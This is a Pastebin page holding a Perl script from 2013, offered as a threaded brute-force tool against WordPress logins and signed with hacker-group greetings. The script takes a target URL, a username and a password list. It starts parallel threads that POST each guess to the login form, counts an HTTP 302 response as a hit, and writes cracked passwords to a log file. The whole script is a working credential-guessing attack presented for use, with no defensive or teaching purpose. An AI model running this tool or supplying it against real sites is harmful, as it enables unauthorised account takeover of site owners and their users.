Advertisement
m-a_labz

Single Wordpress brute Force (Threads on)

Sep 7th, 2013
637
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.58 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Module Needed :)
  3. use strict;
  4. use LWP;
  5. no warnings;
  6. use threads;
  7. use threads::shared;
  8. use LWP::UserAgent;
  9. use HTTP::Request;
  10. use Term::ANSIColor;
  11. use Win32::Console::ANSI;
  12. ##############################
  13. if($^O =~ /Win/){
  14.    system("cls");
  15. }else{
  16.    system("clear");
  17. }
  18. my $ua = LWP::UserAgent->new;
  19. $ua->timeout(15);
  20. $ua->agent('Mozilla/5.0');
  21. print color("bold red"),"[+] Single Wordpress brute Force (Threads on) \n";
  22. print color("bold red"),"[+] coded by Mr_AnarShi-T\n";
  23. print color("bold red"),"[+] Gr33T's : Boy Security & cold Zero & Dod & Normal & Orange man & hij\@ker \n";
  24. print color("bold red"),"[+] Home : Www.HackTeach.Org & My Lab :) \n\n";
  25. print color 'reset';
  26. print color("green"),"[+] Enter Target : ";
  27. print color 'reset';
  28. my $target=<STDIN>;
  29. chomp($target);
  30. print color("green"),"\n[+] Enter User : ";
  31. print color 'reset';
  32. my $user=<STDIN>;
  33. chomp($user);
  34. print color("green"),"\n[+] Enter Passwords list : ";
  35. print color 'reset';
  36. my $file=<STDIN>;
  37. chomp($file);
  38. print color("green"),"\n[+] Enter Thread Number : ";
  39. print color 'reset';
  40. my $thread=<STDIN>;
  41. chomp($thread);
  42. my $threads = $thread;
  43. my @Passwords : shared;
  44. GetPasswords();
  45. while (threads->list) {}
  46. print color ('green');
  47. print "\n[+] Password Founded : ";
  48. print color 'reset';
  49. print"".scalar(@Passwords)."\n\n";
  50. CheckPasswords();
  51. while (threads->list) {}
  52. sub GetPasswords {
  53.         open( LNK, "$file" ) or die "$!\n";
  54.         while( defined( my $line_ = <LNK> ) ) {
  55.                 chomp( $line_ );
  56.                 push( @Passwords, $line_ );
  57.         }
  58.         close( LNK );
  59. }
  60. sub CheckPasswords {
  61.         foreach my $Password( @Passwords ) {
  62.                 my  $ctr = 0;
  63.                 foreach my $thr ( threads->list ) { $ctr++; }
  64.                 if ($ctr < $threads){
  65.                         threads->create( \&Wordpress,$Password );
  66.                 }
  67.                 else { redo; }
  68.         }
  69. }
  70. sub Wordpress {
  71. my $Password = shift ;
  72. chomp ($Password);
  73.  
  74.         my $response = $ua->post($target,{
  75.                         'log' => $user,
  76.                         'pwd' => $Password,
  77.                         'wp-submit' => 'Log in',
  78.         });
  79.         my $code = $response->code;
  80.         print "[+] Testing $Password \n";
  81.         if($code =~ /302/){
  82.         print "\n\n\t[*] Password Cracked: $Password\n\n";
  83.         open(BEN,">>log.txt");
  84.         print BEN "$target\n";
  85.         print BEN "=> $Password\n";
  86.         close(BEN);
  87.         }
  88.         else {
  89.         "\n[+] Wrong Password : $Password";
  90.         }
  91.  
  92.         threads->detach();
  93.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement